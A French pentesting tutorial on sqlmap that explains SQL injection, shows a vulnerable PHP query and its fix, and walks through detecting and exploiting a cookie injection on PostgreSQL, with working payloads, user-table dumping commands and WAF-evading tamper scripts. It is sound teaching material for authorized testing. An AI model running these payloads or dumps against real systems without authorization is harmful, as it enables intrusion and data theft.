SQLmap : guide complet pour comprendre, détecter et exploiter les injections SQL (SQLi)

SQLmap : guide complet pour comprendre, détecter et exploiter les injections SQL (SQLi)

Les injections SQL font partie des vulnérabilités historiques des applications web. Malgré la généralisation des frameworks, des ORM et des mécanismes d’accès aux données plus sûrs, elles peuvent encore apparaître lorsqu’une donnée contrôlée par un utilisateur influence directement la structure d’une requête exécutée par une base de données.

L’exploitation manuelle reste essentielle pour comprendre précisément une SQLi. Elle permet d’identifier le contexte syntaxique, d’observer les différences de réponse et de déterminer quelles techniques fonctionnent réellement. Mais dès qu’il devient nécessaire d’énumérer une base de données ou de reconstruire des informations à travers une injection blind, le nombre de requêtes peut rapidement devenir très important.

C’est précisément le rôle de sqlmap : automatiser une grande partie des opérations de détection et d’exploitation, sans remplacer pour autant l’analyse de l’auditeur.

Dans cet article, nous présentons le fonctionnement de sqlmap, les différentes méthodes permettant de lui fournir des requêtes HTTP, ainsi que les principaux paramètres permettant de configurer ses mécanismes de détection. Nous détaillons également comment interpréter les résultats obtenus, exploiter une injection SQL identifiée et utiliser certaines fonctionnalités avancées de l’outil dans le cadre d’un pentest.

NB : Les manipulations présentées doivent être réalisées uniquement sur des environnements pour lesquels une autorisation explicite de test a été obtenue.

Guide complet sur sqlmap

Qu’est-ce que sqlmap ?

Sqlmap est un outil open source de test d’intrusion spécialisé dans la détection et l’exploitation des injections SQL. Il dispose d’un moteur capable d’adapter ses tests au point d’injection, au système de gestion de base de données identifié, aux techniques disponibles et au comportement observé de l’application.

Lorsqu’une injection est exploitable, sqlmap peut notamment identifier le DBMS, récupérer des informations sur la session SQL, énumérer les bases, tables et colonnes accessibles, puis extraire de manière ciblée certaines données. Selon le DBMS et les privilèges disponibles, l’outil peut également interagir avec le système de fichiers ou utiliser des fonctionnalités du moteur de base de données pour exécuter des commandes sur le système d’exploitation.

Cette automatisation ne signifie pas que sqlmap remplace la compréhension technique d’une injection SQL. Dans un pentest, l’outil est généralement beaucoup plus efficace lorsque l’auditeur a déjà identifié le point d’entrée, compris la structure de la requête et observé les contraintes de l’application.

Lancer sqlmap sans discernement sur l’ensemble d’une application génère du trafic, augmente le bruit et peut compliquer l’analyse. Une approche plus pertinente consiste souvent à identifier manuellement un comportement suspect, puis à utiliser sqlmap pour confirmer l’injection et automatiser les étapes répétitives.

Comment fonctionne une injection SQL ?

En quoi consiste une injection SQL ?

Une application web doit régulièrement transmettre des informations à une base de données : rechercher un utilisateur, afficher un produit, enregistrer une commande, vérifier un droit d’accès ou récupérer une ressource.

Prenons un exemple simplifié en PHP :

$id = $_GET['id'];

$query = "SELECT name, description, price
          FROM products
          WHERE id = " . $id;

Une requête légitime peut être :

GET /product?id=42 HTTP/1.1
Host: example.test

L’application construit alors une requête SQL similaire à :

SELECT name, description, price
FROM products
WHERE id = 42;

Le problème vient du fait que la valeur contrôlée par l’utilisateur est directement concaténée dans la requête. L’utilisateur ne contrôle donc pas seulement une donnée : il peut potentiellement influencer la syntaxe envoyée au moteur SQL.

Cette confusion entre données et instructions SQL constitue le principe fondamental d’une injection SQL.

Quels impacts peut avoir une SQLi ?

L’impact d’une injection SQL varie fortement selon le contexte. Une première injection peut uniquement permettre d’inférer quelques informations liées à la requête vulnérable. Une autre peut donner accès à l’ensemble des données présentes dans plusieurs tables ou bases accessibles par l’utilisateur SQL.

Des informations sensibles peuvent alors être exposées : comptes utilisateurs, données personnelles, données métier, tokens, secrets applicatifs, informations d’administration ou données utilisées par d’autres composants.

Certaines injections autorisent également la modification ou la suppression de données. Enfin, lorsque le DBMS expose des fonctionnalités adaptées et que le compte de l’application possède des privilèges élevés, l’exploitation peut parfois dépasser la base de données et atteindre le système d’exploitation.

Il est donc important de ne pas considérer toutes les SQLi comme équivalentes. La phase d’exploitation sert précisément à déterminer jusqu’où la vulnérabilité permet réellement d’aller, avec le minimum d’actions nécessaires pour en démontrer l’impact.

Les principales techniques d’injection SQL

Une injection peut être exploitable à travers différentes techniques.

  • Avec une UNION-based SQL injection, l’attaquant ajoute une seconde requête SELECT à celle exécutée par l’application afin que les informations recherchées soient intégrées au résultat retourné.
  • Une error-based SQL injection exploite les messages d’erreur produits par le DBMS. Certaines constructions permettent de provoquer volontairement une erreur contenant des informations issues de la base de données.
  • Dans une boolean-based blind SQL injection, aucune donnée n’est directement retournée. L’auditeur soumet des conditions vraies et fausses puis observe les différences de comportement de l’application pour reconstruire progressivement l’information recherchée.
  • Une time-based blind SQL injection repose sur la même logique, mais utilise le temps de réponse comme canal. Une condition vraie peut par exemple provoquer volontairement un délai au niveau du DBMS.
  • Enfin, lorsque plusieurs instructions SQL peuvent être exécutées successivement, on parle de stacked queries. Cette capacité peut élargir fortement les possibilités d’exploitation, notamment lorsque l’on cherche à exécuter des instructions qui ne retournent pas directement de résultat.

Sqlmap utilise les lettres B, E, U, S, T et Q pour désigner respectivement les techniques boolean-based blind, error-based, UNION query, stacked queries, time-based blind et inline queries.

Comment prévenir les injections SQL ?

La principale mesure de protection consiste à utiliser des requêtes paramétrées, également appelées requêtes préparées.

Au lieu de construire une instruction SQL en concaténant directement une valeur contrôlée par l’utilisateur, l’application définit séparément la structure de la requête et ses paramètres.

Par exemple :

$stmt = $pdo->prepare(
    "SELECT name, description, price
     FROM products
     WHERE id = ?"
);

$stmt->execute([$id]);

Dans ce cas, le DBMS traite la valeur fournie comme une donnée et non comme une partie de la syntaxe SQL. Cette séparation constitue la défense principale recommandée par l’OWASP contre les injections SQL.

Le principe du moindre privilège reste également essentiel. Une application qui utilise un compte SQL limité aux opérations strictement nécessaires réduit fortement l’impact potentiel d’une injection, même si une vulnérabilité demeure dans le code.

Pour approfondir les mécanismes d’injection et les bonnes pratiques de prévention, notre guide dédié aux injections SQL détaille les principaux scénarios d’exploitation et les mesures de protection associées : Injection SQL (SQLi) : fonctionnement, techniques d’exploitation et bonnes pratiques sécurité.

Installer et prendre en main sqlmap

Installer et mettre à jour sqlmap

Sqlmap est développé en Python et peut être récupéré directement depuis son dépôt Git officiel. La méthode recommandée consiste à cloner le projet :

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

L’outil peut ensuite être lancé directement :

python sqlmap.py -h

Une installation via PyPI est également proposée :

pip install --upgrade sqlmap

Pour mettre à jour une copie récupérée depuis Git :

python sqlmap.py --update

ou :

git pull

Avant un audit important, travailler avec une version récente permet d’éviter de diagnostiquer un comportement qui aurait déjà été corrigé ou amélioré dans le projet.

Comprendre l’aide, la verbosité et les sessions

L’option -h affiche les principales options disponibles :

python sqlmap.py -h

L’option -hh affiche l’aide complète :

python sqlmap.py -hh

Sqlmap propose également plusieurs niveaux de verbosité avec -v. Par exemple :

python sqlmap.py -r request.txt -v 3

permet d’obtenir davantage d’informations sur les payloads testés. Des niveaux supérieurs rendent visibles plus de détails sur les échanges HTTP et facilitent le diagnostic lorsque le comportement de l’outil paraît incohérent.

Enfin, sqlmap conserve automatiquement des informations de session pour les cibles déjà testées. Cette persistance accélère les exécutions suivantes, mais elle peut aussi donner l’impression qu’un test est relancé alors que l’outil réutilise simplement une détection précédente. Nous reviendrons plus loin sur –flush-session, qui permet de repartir d’un état propre.

Comment fournir une cible à sqlmap ?

Sqlmap accepte plusieurs formats d’entrée. Dans un pentest web, les plus utiles sont généralement une URL fournie directement en ligne de commande ou une requête HTTP complète exportée depuis un proxy d’interception.

Tester un paramètre GET avec -u

Le scénario le plus simple consiste à fournir une URL avec -u :

python sqlmap.py \
  -u "https://target.example/product?id=42"

Sqlmap identifie les paramètres présents dans l’URL et peut les tester comme points d’injection potentiels.

Lorsque le paramètre intéressant est déjà connu, il est préférable de le préciser avec -p :

python sqlmap.py \
  -u "https://target.example/product?id=42" \
  -p id

Cette sélection réduit le nombre de requêtes et évite de tester des valeurs sans intérêt.

Tester des données POST avec –data

Pour une requête POST classique, les données peuvent être fournies avec –data :

python sqlmap.py \
  -u "https://target.example/search" \
  --data="category=books&sort=price" \
  -p category

L’outil considère alors les paramètres présents dans le corps de la requête comme des points d’injection potentiels.

Lorsqu’une API utilise une autre méthode HTTP, –method permet de la forcer explicitement :

python sqlmap.py \
  -u "https://target.example/api/item/42" \
  --method=PUT \
  --data='{"name":"test"}'

Utiliser une requête HTTP complète avec -r

Dans un pentest réel, -r est souvent l’une des options les plus pratiques. Une requête capturée avec Burp Suite peut être enregistrée dans un fichier :

GET /product?id=42 HTTP/1.1
Host: target.example
Cookie: session=eyJhbGciOi...
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

Puis transmise directement à sqlmap :

python sqlmap.py -r request.txt

Cette méthode conserve les cookies, headers, données POST et autres éléments nécessaires à la reproduction fidèle de la requête. Elle évite surtout de reconstruire manuellement en ligne de commande une requête complexe.

Indiquer précisément le point d’injection

Lorsque le point d’injection est déjà connu, il est préférable de le désigner explicitement.

Une première possibilité consiste à utiliser -p :

python sqlmap.py \
  -r request.txt \
  -p TrackingId

Une seconde consiste à placer le caractère * exactement à l’endroit où sqlmap doit injecter ses payloads.

Par exemple dans un cookie :

Cookie: TrackingId=abc123*; session=eyJhbGciOi...

Cette syntaxe fonctionne également dans différents emplacements d’une requête et devient particulièrement utile lorsque la donnée injectable est imbriquée dans une structure plus complexe.

Tester une API et un corps JSON avec sqlmap

Les applications modernes transmettent fréquemment leurs données au format JSON. Dans ce cas, l’utilisation d’une requête complète avec -r est souvent l’approche la plus lisible.

Exemple :

POST /api/products/search HTTP/1.1
Host: target.example
Content-Type: application/json
Authorization: Bearer eyJhbGciOi...

{
  "category": "books*",
  "sort": "price"
}

La requête peut ensuite être utilisée avec :

python sqlmap.py -r api-request.txt

L’astérisque indique ici que les payloads doivent être injectés dans la valeur category.

Les versions récentes de sqlmap peuvent également dériver des cibles depuis une spécification OpenAPI ou Swagger avec –openapi. Cette fonction peut être intéressante pour explorer une API documentée, mais elle doit être utilisée de manière ciblée pour éviter de générer inutilement des tests sur un grand nombre de routes.

Gérer une application authentifiée et des headers spécifiques

Une injection SQL peut se situer derrière un mécanisme d’authentification. Lorsqu’une session repose sur un cookie, celui-ci peut être fourni directement :

python sqlmap.py \
  -u "https://target.example/account?id=42" \
  --cookie="session=0123456789abcdef"

Pour un endpoint utilisant un bearer token :

python sqlmap.py \
  -u "https://target.example/api/orders?id=42" \
  --headers="Authorization: Bearer eyJhbGciOi..."

Dans les cas plus complexes, une requête authentifiée enregistrée avec Burp Suite et utilisée via -r reste généralement plus facile à maintenir.

Configurer la détection d’une injection SQL avec sqlmap

Une fois la cible fournie, sqlmap analyse le comportement de l’application et envoie différents payloads afin de déterminer si un paramètre influence réellement une requête SQL.

Il ne cherche donc pas uniquement à provoquer une erreur. Selon la technique, l’outil compare des réponses vraies et fausses, tente des constructions UNION, exploite des messages d’erreur ou mesure des délais contrôlés.

Cibler uniquement les paramètres utiles

Sur une requête contenant de nombreux paramètres, il est rarement pertinent de tout tester systématiquement.

Lorsque le point suspect est déjà connu :

python sqlmap.py \
  -r request.txt \
  -p id

Sqlmap propose également des mécanismes permettant de sauter certains paramètres ou de filtrer les emplacements à tester. La logique à retenir reste simple : plus la cible est précise, plus l’analyse est lisible et moins le trafic généré est important.

Ajuster l’exhaustivité avec –level

–level définit l’exhaustivité des tests réalisés par sqlmap. Sa valeur peut aller de 1 à 5.

À faible niveau, sqlmap limite le nombre de payloads et les emplacements testés. Lorsque le niveau augmente, l’outil étend progressivement sa couverture. Les paramètres GET et POST sont testés par défaut, tandis que les cookies puis certains headers peuvent être intégrés automatiquement à des niveaux supérieurs.

Il peut être tentant d’utiliser immédiatement :

python sqlmap.py \
  -r request.txt \
  --level=5

Cependant, cette option augmente fortement le nombre de requêtes. Dans un pentest, il est souvent préférable de commencer de manière ciblée puis d’augmenter progressivement –level lorsque le contexte le justifie.

Comprendre les implications de –risk

–risk contrôle la catégorie de payloads que sqlmap est autorisé à utiliser. La valeur par défaut privilégie des tests relativement peu risqués. Des niveaux supérieurs introduisent des tests plus lourds ou potentiellement plus dangereux.

Par exemple, selon la position de l’injection dans une requête UPDATE, certains payloads logiques peuvent théoriquement conduire à modifier davantage d’enregistrements que prévu.

Le fait qu’une option existe ne signifie donc pas qu’elle doit être activée systématiquement :

python sqlmap.py \
  -r request.txt \
  --risk=3

ne doit être utilisé qu’après avoir compris le contexte de la requête vulnérable et les effets potentiels des tests.

Limiter les techniques avec –technique

Lorsqu’une injection a déjà été identifiée manuellement, il est inutile de tester toutes les familles de payloads.

Pour une boolean-based blind :

python sqlmap.py \
  -r request.txt \
  --technique=B

Pour une time-based blind :

python sqlmap.py \
  -r request.txt \
  --technique=T

Il est également possible de combiner plusieurs lettres lorsqu’on souhaite autoriser plusieurs techniques. Limiter la détection aux méthodes pertinentes permet souvent de gagner du temps et de réduire le volume de requêtes.

Forcer le DBMS avec –dbms

Sqlmap tente normalement d’identifier automatiquement le système de gestion de base de données. Lorsque cette information est déjà connue, elle peut être fournie directement :

python sqlmap.py \
  -r request.txt \
  --dbms=PostgreSQL

ou :

python sqlmap.py \
  -r request.txt \
  --dbms=MySQL

Cette optimisation est particulièrement utile lorsque le DBMS a été identifié à partir d’un message d’erreur, du code source dans un audit white box ou de tests manuels.

Aider sqlmap à comparer les réponses

Les injections blind reposent sur un signal observable entre une condition vraie et une condition fausse. Lorsque la page contient beaucoup de contenu dynamique, sqlmap peut avoir du mal à distinguer les deux cas.

–string permet d’indiquer une chaîne présente lorsque la condition est vraie :

python sqlmap.py \
  -r request.txt \
  --string="Welcome back"

À l’inverse, –not-string peut identifier une chaîne associée à la condition fausse :

python sqlmap.py \
  -r request.txt \
  --not-string="Invalid tracking ID"

Sqlmap peut également s’appuyer sur des codes HTTP, des expressions régulières ou uniquement sur le contenu textuel de la page. Ces réglages deviennent utiles lorsqu’un timestamp, un token, un composant dynamique ou une zone personnalisée perturbe la comparaison des réponses.

Interpréter les résultats retournés par sqlmap

Une bonne utilisation de sqlmap ne consiste pas seulement à attendre que l’outil annonce qu’un paramètre est injectable. Les informations retournées permettent de comprendre où se situe l’injection, quelle technique fonctionne et comment sqlmap l’a confirmée.

Prenons une sortie simplifiée :

sqlmap identified the following injection point(s):

---
Parameter: TrackingId (Cookie)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: TrackingId=abc123' AND 4821=4821-- -

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: TrackingId=abc123' AND 9137=(SELECT 9137 FROM PG_SLEEP(5))-- -
---

back-end DBMS: PostgreSQL

Les valeurs aléatoires générées dans les payloads peuvent varier d’une exécution à l’autre, mais la structure de la sortie reste particulièrement utile pour comprendre la vulnérabilité.

Parameter : identifier le point d’injection

La première information à regarder est :

Parameter: TrackingId (Cookie)

Elle indique que l’injection a été identifiée dans le cookie TrackingId.

Selon le contexte, sqlmap peut également retourner :

Parameter: id (GET)

ou :

Parameter: search (POST)

Cette vérification est importante lorsque la requête contient plusieurs valeurs. Elle permet de confirmer que l’outil exploite bien le paramètre identifié pendant les tests manuels.

Type : comprendre la technique d’exploitation

Le champ Type correspond à la famille d’injection utilisée.

Dans notre exemple :

Type: boolean-based blind

signifie que sqlmap peut déduire des informations en observant les différences entre des conditions SQL vraies et fausses.

La présence de :

Type: time-based blind

indique que le même point peut également être exploité à partir du temps de réponse.

Plusieurs techniques peuvent donc être valides simultanément. Lorsqu’une méthode rapide permet de récupérer directement ou efficacement des informations, il est généralement préférable de la privilégier plutôt que de reposer uniquement sur une time-based blind.

Title : comprendre le contexte SQL identifié

Le champ Title précise la technique et le contexte du payload validé.

Par exemple :

Title: AND boolean-based blind - WHERE or HAVING clause

indique que la preuve repose sur l’ajout d’une condition AND dans un contexte compatible avec une clause WHERE ou HAVING.

De même :

Title: PostgreSQL > 8.1 AND time-based blind

montre que le payload validé utilise une primitive temporelle adaptée à PostgreSQL.

Cette information devient particulièrement utile lorsque l’on souhaite reproduire manuellement l’injection ou comprendre la structure probable de la requête vulnérable.

Payload : analyser la preuve d’injection

Le champ Payload montre la valeur qui a permis à sqlmap de confirmer le point d’injection.

Par exemple :

Payload: TrackingId=abc123' AND 4821=4821-- -

Le principe peut être rapproché d’une requête telle que :

... WHERE tracking_id = 'abc123'
AND 4821 = 4821

La condition :

4821 = 4821

est vraie. Sqlmap peut comparer son comportement à une condition fausse afin de disposer d’un oracle pour l’exploitation blind.

Dans un scénario time-based, le payload peut contenir une fonction générant un délai :

Payload: TrackingId=abc123' AND 9137=(SELECT 9137 FROM PG_SLEEP(5))-- -

Le délai n’est pas la vulnérabilité en lui-même. Il sert simplement de canal observable pour transformer une condition SQL invisible dans la réponse HTTP en un signal mesurable.

Identifier le DBMS et le contexte technique

Après confirmation de l’injection, sqlmap tente généralement d’identifier le DBMS :

back-end DBMS: PostgreSQL

Selon ce qu’il parvient à déterminer, la sortie peut contenir davantage d’informations :

web server operating system: Linux
web application technology: nginx, PHP
back-end DBMS: PostgreSQL 14

L’identification du DBMS est importante car la syntaxe, les fonctions disponibles, les tables système et les possibilités de post-exploitation diffèrent fortement d’un moteur à l’autre.

Exploiter une injection SQL avec sqlmap : cas concret

Prenons maintenant un scénario dans lequel une injection SQL a été identifiée dans un cookie TrackingId.

La requête suivante a été capturée avec Burp Suite puis enregistrée dans request.txt :

GET / HTTP/1.1
Host: target.example
Cookie: TrackingId=abc123*; session=eyJhbGciOi...
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

Le caractère * indique précisément l’endroit où sqlmap doit insérer ses payloads.

Confirmer l’injection

Nous commençons volontairement avec une commande simple :

python sqlmap.py -r request.txt

Une sortie simplifiée pourrait être :

[INFO] testing connection to the target URL
[INFO] testing if Cookie parameter 'TrackingId' is dynamic
[INFO] Cookie parameter 'TrackingId' appears to be dynamic
[INFO] testing for SQL injection on Cookie parameter 'TrackingId'

[INFO] Cookie parameter 'TrackingId' appears to be
'AND boolean-based blind - WHERE or HAVING clause' injectable

[INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[INFO] Cookie parameter 'TrackingId' appears to be
'PostgreSQL > 8.1 AND time-based blind' injectable

sqlmap identified the following injection point(s):

---
Parameter: TrackingId (Cookie)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: TrackingId=abc123' AND 4821=4821-- -

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: TrackingId=abc123' AND 9137=(SELECT 9137 FROM PG_SLEEP(5))-- -
---

back-end DBMS: PostgreSQL

Nous pouvons en tirer trois informations principales : le point d’injection est bien le cookie TrackingId, au moins deux techniques fonctionnent et le DBMS est PostgreSQL.

Dans la mesure où une boolean-based blind est disponible, elle pourra généralement être privilégiée par rapport à une exploitation reposant uniquement sur des délais.

Identifier le contexte de la connexion SQL

Avant d’énumérer les données métier, il est utile de comprendre le contexte dans lequel l’application communique avec le DBMS.

python sqlmap.py \
  -r request.txt \
  --banner \
  --current-user \
  --current-db \
  --hostname \
  --is-dba

Une sortie simplifiée pourrait être :

[INFO] fetching banner
banner: 'PostgreSQL 14.11'

[INFO] fetching current user
current user: 'webapp'

[INFO] fetching current database
current database: 'application'

[INFO] fetching server hostname
hostname: 'db-prod-01'

[INFO] testing if current user is DBA
current user is DBA: False

Le résultat current user is DBA: False ne signifie pas que l’injection est sans impact. Il indique simplement que certaines opérations nécessitant des privilèges élevés pourront être impossibles.

Cette information est importante pour éviter de confondre accès aux données et contrôle administratif du DBMS.

Énumérer les bases accessibles

Pour demander à sqlmap d’énumérer les bases visibles par l’utilisateur courant :

python sqlmap.py \
  -r request.txt \
  --dbs

Une sortie peut par exemple prendre cette forme :

[INFO] fetching database names

available databases [3]:
[*] application
[*] postgres
[*] template1

La base application semble ici correspondre à la base utilisée par l’application auditée. Les autres entrées peuvent être liées au fonctionnement du DBMS et ne présentent pas nécessairement d’intérêt pour la démonstration.

L’objectif n’est donc pas d’extraire automatiquement toutes les données accessibles, mais de déterminer quel périmètre est pertinent pour l’évaluation du risque.

Énumérer les tables

Pour les DBMS classiques, -D désigne la base à énumérer. PostgreSQL présente toutefois une particularité dans sqlmap : pour l’énumération des tables de la base courante, l’outil demande d’utiliser public, qui représente le schéma accessible de l’application dans ce contexte.

La commande peut donc être :

python sqlmap.py \
  -r request.txt \
  -D public \
  --tables

Une sortie simplifiée :

Database: public

[4 tables]
+------------------+
| audit_logs       |
| password_resets  |
| tracking         |
| users            |
+------------------+

Il faut bien comprendre que l’affichage Database: public correspond ici à la représentation utilisée par sqlmap pour le schéma PostgreSQL accessible, et non à l’affirmation qu’une base PostgreSQL nommée public existe réellement.

La table users semble suffisante pour poursuivre la démonstration.

Examiner la structure d’une table

Nous pouvons ensuite énumérer les colonnes :

python sqlmap.py \
  -r request.txt \
  -D public \
  -T users \
  --columns

Exemple de sortie :

Database: public
Table: users

[5 columns]
+------------+-------------------+
| Column     | Type              |
+------------+-------------------+
| id         | integer           |
| username   | character varying |
| email      | character varying |
| password   | character varying |
| role       | character varying |
+------------+-------------------+

Cette étape permet de connaître la structure de la table avant toute extraction. Elle évite surtout de lancer un dump sans savoir quelles informations seront récupérées.

Connaître le volume de données

Avant une extraction, –count permet de connaître le nombre d’entrées :

python sqlmap.py \
  -r request.txt \
  -D public \
  -T users \
  --count

Par exemple :

Database: public

+-------+---------+
| Table | Entries |
+-------+---------+
| users | 18427   |
+-------+---------+

Cette information doit influencer la stratégie de test. Extraire 18 427 utilisateurs simplement pour prouver l’injection serait inutilement intrusif.

Quelques enregistrements représentatifs suffisent généralement à établir que les données sont accessibles.

Extraire uniquement les données nécessaires

Pour cibler certaines colonnes :

python sqlmap.py \
  -r request.txt \
  -D public \
  -T users \
  -C username,password \
  --dump

Une sortie d’article peut volontairement masquer les valeurs sensibles :

Database: public
Table: users

+---------------+-------------------------+
| username      | password                |
+---------------+-------------------------+
| administrator | $2b$12$REDACTED...      |
| test-user     | $2b$12$REDACTED...      |
| demo          | $2b$12$REDACTED...      |
+---------------+-------------------------+

Pour limiter encore davantage l’extraction :

python sqlmap.py \
  -r request.txt \
  -D public \
  -T users \
  -C username,password \
  --dump \
  --start=1 \
  --stop=3

Il est également possible d’utiliser –where lorsque l’on souhaite cibler une condition précise.

La logique à retenir est simple : énumérer d’abord, mesurer le volume, puis extraire uniquement ce qui est nécessaire pour démontrer l’impact.

Comment sqlmap exploite les blind SQL injections ?

Une blind SQL injection présente une particularité importante : le résultat de la requête injectée n’est pas directement affiché dans la réponse HTTP.

Cela ne signifie pas qu’aucune information ne peut être récupérée. L’auditeur doit simplement disposer d’un signal indirect lui permettant de distinguer une condition vraie d’une condition fausse.

Boolean-based blind SQL injection

Prenons un exemple volontairement simplifié :

AND SUBSTRING(
    (SELECT password FROM users WHERE username='administrator'),
    1,
    1
) = '5'

L’application ne retourne pas directement le mot de passe. En revanche, si le contenu de la réponse change selon que la condition est vraie ou fausse, il devient possible de tester différentes valeurs.

Si la réponse correspond à une condition vraie pour 5, nous savons que le premier caractère est 5. La même opération peut ensuite être répétée pour les caractères suivants.

Effectuer cette extraction manuellement est intéressant pour comprendre le mécanisme, mais devient rapidement fastidieux. Sqlmap automatise précisément cette succession de tests.

Time-based blind SQL injection

Lorsque les réponses HTTP ne présentent aucune différence exploitable, le temps de réponse peut servir de canal.

Le principe consiste à demander au DBMS de déclencher un délai uniquement lorsqu’une condition est vraie. Sur PostgreSQL, un mécanisme similaire à PG_SLEEP() peut être utilisé par les payloads adaptés au contexte.

Sqlmap mesure ensuite le comportement du serveur et s’appuie sur un modèle temporel pour distinguer le délai volontaire de la latence normale.

La valeur de référence peut être ajustée avec –time-sec :

python sqlmap.py \
  -r request.txt \
  --technique=T \
  --time-sec=5

Cette technique est généralement beaucoup plus lente qu’une méthode capable de récupérer directement ou indirectement des informations sans introduire de délai.

Comprendre le coût d’une extraction blind

Lors d’une extraction blind, une simple sortie comme :

[INFO] fetching current database
[INFO] retrieved: application

peut masquer de nombreuses requêtes HTTP.

Derrière cette ligne, sqlmap a potentiellement dû déterminer la longueur de la valeur puis reconstruire ses caractères à partir de multiples conditions.

Sur une time-based SQLi, ce coût devient encore plus important puisque chaque condition pertinente peut introduire plusieurs secondes de délai.

C’est pourquoi une option comme :

--dump-all

est rarement une bonne première décision sur une injection blind. Une exploitation ciblée réduit le temps d’audit, le trafic généré et l’impact sur l’infrastructure.

Aller plus loin dans l’énumération avec sqlmap

Sqlmap ne se limite pas à –dbs, –tables, –columns et –dump. Une fois l’injection confirmée, plusieurs options permettent de comprendre plus précisément l’environnement.

Identifier les utilisateurs, rôles et privilèges

–users permet de tenter d’énumérer les comptes connus du DBMS :

python sqlmap.py \
  -r request.txt \
  --users

–privileges permet d’identifier les privilèges associés lorsque le DBMS expose ces informations :

python sqlmap.py \
  -r request.txt \
  --privileges

–roles peut également être utilisé pour énumérer les rôles :

python sqlmap.py \
  -r request.txt \
  --roles

L’objectif n’est pas nécessairement de récupérer tous les comptes disponibles, mais de déterminer si l’application fonctionne avec un utilisateur anormalement privilégié.

Rechercher une table ou une colonne spécifique

Sur un environnement volumineux, parcourir toutes les tables manuellement peut être inefficace.

–search permet de rechercher des noms de bases, tables ou colonnes. Par exemple, une recherche ciblée sur des colonnes :

python sqlmap.py \
  -r request.txt \
  --search \
  -C password,token,secret

Cette fonction est utile lorsqu’on cherche à confirmer rapidement l’exposition d’une catégorie de données précise sans énumérer l’intégralité du schéma.

Exécuter une requête SQL ciblée

Lorsque l’auditeur connaît exactement la requête nécessaire pour valider une hypothèse, –sql-query permet d’exécuter une requête ciblée :

python sqlmap.py \
  -r request.txt \
  --sql-query="SELECT current_user"

–sql-shell fournit une interface interactive :

python sqlmap.py \
  -r request.txt \
  --sql-shell

Ces capacités doivent être utilisées avec précaution. Une requête SELECT reste en lecture, mais d’autres instructions peuvent modifier la base de données lorsque la technique d’injection et les privilèges le permettent.

Optimiser sqlmap sans surcharger l’application

Sqlmap peut générer un volume important de trafic, en particulier lors d’une extraction blind. Plusieurs options permettent d’adapter son comportement.

Accélérer certains traitements avec –threads

–threads augmente le nombre de requêtes concurrentes :

python sqlmap.py \
  -r request.txt \
  --threads=5

Cette option peut accélérer certaines phases d’extraction, mais elle doit être utilisée avec prudence. Un niveau de parallélisme trop élevé peut augmenter la charge sur l’application, le serveur web ou le DBMS.

Il peut également perturber l’interprétation d’une injection reposant sur le temps de réponse.

Ralentir les requêtes avec –delay

À l’inverse, –delay permet d’ajouter un intervalle entre les requêtes :

python sqlmap.py \
  -r request.txt \
  --delay=0.5

Cette option peut être utile lorsque l’infrastructure est sensible à la charge ou lorsque l’application applique un contrôle de fréquence.

L’objectif n’est pas de contourner automatiquement une protection, mais d’adapter le rythme des tests aux conditions définies pour l’audit.

Comprendre et réinitialiser les sessions sqlmap

Sqlmap conserve les informations déjà obtenues sur une cible : DBMS, point d’injection, structure déjà récupérée, etc.

Cette persistance accélère les tests suivants, mais peut être trompeuse lorsqu’une requête a changé.

Pour forcer une nouvelle analyse :

python sqlmap.py \
  -r request.txt \
  --flush-session

Cette option est particulièrement utile lorsqu’un changement de configuration, de session ou de payload ne semble pas pris en compte.

Forcer HTTPS lorsque cela est nécessaire

Lorsque l’on travaille à partir d’une requête brute ou d’un log ne permettant pas à sqlmap d’inférer correctement le protocole, –force-ssl permet d’imposer HTTPS :

python sqlmap.py \
  -r request.txt \
  --force-ssl

Cette option est utile dans certains scénarios d’import de requêtes, notamment lorsque le fichier ne transporte pas explicitement l’information de schéma.

Utiliser les scripts tamper avec sqlmap

Comprendre le rôle des tampers

Les scripts tamper transforment les payloads générés par sqlmap avant leur envoi. Ils peuvent être utiles lorsqu’un filtre applicatif, une validation maison ou un WAF bloque une représentation précise d’une requête SQL alors qu’une syntaxe équivalente reste acceptée par le DBMS.

L’option utilisée est :

python sqlmap.py \
  -r request.txt \
  --tamper=space2comment

Plusieurs scripts peuvent être combinés :

python sqlmap.py \
  -r request.txt \
  --tamper=space2comment,randomcase

Sqlmap applique alors les transformations définies par ces scripts sur les payloads avant leur envoi.

space2comment.py

space2comment.py remplace certains espaces par des commentaires SQL.

Une expression comme :

SELECT username FROM users

peut être représentée avec des commentaires entre certains éléments :

SELECT/**/username/**/FROM/**/users

Cette transformation peut permettre de franchir un filtre très simple qui bloque les espaces mais laisse passer une syntaxe équivalente interprétée correctement par le DBMS.

randomcase.py

randomcase.py modifie la casse de certains mots-clés SQL.

Par exemple :

SELECT

peut devenir :

SeLeCt

Cette transformation peut être utile contre un filtre mal conçu qui effectue une comparaison sensible à la casse alors que le DBMS ne traite pas le mot-clé de la même manière.

equaltolike.py

equaltolike.py remplace l’opérateur = par LIKE dans les contextes compatibles.

Par exemple :

SELECT * FROM users WHERE id=1

peut devenir :

SELECT * FROM users WHERE id LIKE 1

Ce script est conçu pour certains DBMS comme MySQL, MariaDB, SQLite, Microsoft SQL Server ou Oracle. Il n’est notamment pas adapté à PostgreSQL dans les comparaisons numériques équivalentes, ce qui montre pourquoi un tamper doit toujours être choisi en fonction du moteur et du contexte.

Ne pas empiler les tampers au hasard

Le point le plus important n’est pas de connaître le plus grand nombre de scripts possible, mais de comprendre le filtrage rencontré.

Une bonne démarche consiste à observer le payload original, modifier un élément à la fois et identifier précisément ce qui déclenche le blocage. Une fois le comportement compris, un tamper adapté peut être choisi.

À l’inverse, empiler de nombreux scripts sans comprendre leurs transformations peut produire des payloads incompatibles, compliquer le diagnostic et générer beaucoup de requêtes inutiles.

Les tampers doivent donc être considérés comme un mécanisme de transformation ciblé, et non comme une option magique permettant de contourner automatiquement n’importe quel WAF.

De l’injection SQL à la compromission du serveur

L’une des raisons pour lesquelles certaines SQLi sont particulièrement critiques est que leur impact peut parfois dépasser la base de données.

